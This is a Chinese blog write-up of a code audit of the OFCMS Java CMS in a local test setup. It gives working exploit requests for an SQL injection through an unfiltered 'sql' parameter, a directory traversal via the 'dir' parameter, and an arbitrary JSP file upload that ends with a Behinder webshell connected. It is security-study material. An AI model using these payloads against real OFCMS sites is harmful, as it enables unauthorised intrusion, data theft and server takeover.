OFCMS代码审计

环境搭建

https://blog.csdn.net/oufua/article/details/82584637
OFCMS代码审计_第1张图片
OFCMS代码审计_第2张图片

安装后是重启容器

OFCMS代码审计_第3张图片

最后
db-config.properties 改成db.properties 修改数据库连接

OFCMS代码审计_第4张图片
OFCMS代码审计_第5张图片

搭建成功

OFCMS代码审计_第6张图片

代码审计

OFCMS代码审计_第7张图片


sql注入审计

全局搜索${ 查看没有预编译的sql语句,从而找到sql注入功能点

OFCMS代码审计_第8张图片

OFCMS代码审计_第9张图片

Ctrl+alt+h 查看函数的调用栈

寻找到一处没有进行任何处理的sql语句

    public void create() {
      try {
         String sql = getPara("sql");
         Db.update(sql);
         rendSuccessJson();
      } catch (Exception e) {
         e.printStackTrace();
         rendFailedJson(ErrorCode.get("9999"), e.getMessage());
      }
   }
}

getPara(“sql”) 后直接交给Db.update(sql)执行

下断点测试一下
OFCMS代码审计_第10张图片

利用

请求包
http://localhost:8080/ofcms_admin_war/admin/system/generate/create?sql=UPDATE%20of_cms_api%20SET%20api_url=updatexml(2,concat(0x7e,(version())),0)

响应包
{“msg”:“java.sql.SQLException: XPATH syntax error: ‘~5.7.26’”,“code”:“处理失败请稍后重试!”,“success”:false}

OFCMS代码审计_第11张图片


HTML注入

http://localhost:8080/ofcms_admin_war/admin/comn/service/update.json?sqlid=system.task.update

payload

aaaa

OFCMS代码审计_第12张图片

保存和查询输出并未过滤,可能前端有限制js,需要绕一些前端应该会存在xss

OFCMS代码审计_第13张图片

目录穿越漏洞

保存模板的地方存在传入参数dir
全局搜索dir

OFCMS代码审计_第14张图片

关键代码

public void getTemplates() {
    //当前目录
    String dirName = getPara("dir","");
    //上级目录
    String upDirName = getPara("up_dir","/");
    //类型区分
        String resPath = getPara("res_path");
    //文件目录
    String dir = null;
    if(!"/".equals(upDirName)){
          dir = upDirName+dirName;
    }else{
          dir = dirName;
    }
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);
    }

OFCMS代码审计_第15张图片

传入的路径没有过滤直接使用
OFCMS代码审计_第16张图片

利用

http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?dir=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/

OFCMS代码审计_第17张图片
OFCMS代码审计_第18张图片


任意文件上传

在查看调用栈的时候发现了save保存文件的接口只过滤了<>

使用url编码上传木马测试
任意文件上传

关键代码

public void save() {
    String resPath = getPara("res_path");
    File pathFile = null;
    if("res".equals(resPath)){
        pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
    }else {
        pathFile = new File(SystemUtile.getSiteTemplatePath());
    }
    String dirName = getPara("dirs");
    if (dirName != null) {
        pathFile = new File(pathFile, dirName);
    }
    String fileName = getPara("file_name");
    // 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
    String fileContent = getRequest().getParameter("file_content");
    fileContent = fileContent.replace("<", "<").replace(">", ">");
    File file = new File(pathFile, fileName);
    FileUtils.writeString(file, fileContent);
    rendSuccessJson();
}

接下来要尝试构造参数
filen_name res_path=res

dir=/ file_content 就可以任意文件上传了

利用

可以上传jsp文件
参数:
file_path=&dirs=%2F&res_path=res&file_name=shell.jsp&file_content=aaaaaaa

OFCMS代码审计_第19张图片

写入成功
OFCMS代码审计_第20张图片

由于MVC问题,无法正常访问到所有找一个静态路径试一下。
OFCMS代码审计_第21张图片

写入到静态页面static目录下,也就是…/…/static/目录下
OFCMS代码审计_第22张图片

写入成功
OFCMS代码审计_第23张图片
成功访问到,接下getshell试一下。
OFCMS代码审计_第24张图片

接下来上传冰蝎的马连一下
OFCMS代码审计_第25张图片

成功上线
OFCMS代码审计_第26张图片


框架漏洞

Fastjson反序列化

OFCMS代码审计_第27张图片

学习中,全局搜索危险函数并未发现可控的功能点

Log4j代码审计

参考:http://www.hackdig.com/06/hack-1021138.htm

OFCMS代码审计_第28张图片

判断一个网站系统是否存在log4j远程命令执行漏洞需要判断一下几个条件:
1、 是否使用了存在漏洞版本的log4j组件
2、是否使用类似这种危险函数:logger.debug ,logger.info ,logger.warn , logger.error ,logger.fatal
3、函数内的参数值是否用户可控

发现危险性函数,看看参数是不是可以控制

OFCMS代码审计_第29张图片

部分代码

    while (!stopRequested) {
      log.info("##### 自动更新配置文件服务启动, 更新间隔时间 " + interval + " 秒");
      // 去除 Engine 中的缓存,以免 get 出来后重新判断 isModified
      sqlKit.getEngine().removeAllTemplateCache();
      sqlKit.parseSqlTemplate();
      try {
         sleep(interval * 1000);
      } catch (InterruptedException e) {
         runThread.interrupt();
      }
   }
   log.info("##### 自动更新配置文件服务退出");
}

发现是固定参数用户不可控

OFCMS代码审计_第30张图片

未完待续,继续学习。

参考文章

环境搭建:
https://blog.csdn.net/oufua/article/details/82584637

Log4j代码审计
http://www.hackdig.com/06/hack-1021138.htm

说明

仅作为安全研究使用,请勿使用未授权的攻击行为,遵循法律法规。

你可能感兴趣的:(代码审计,java,网络安全)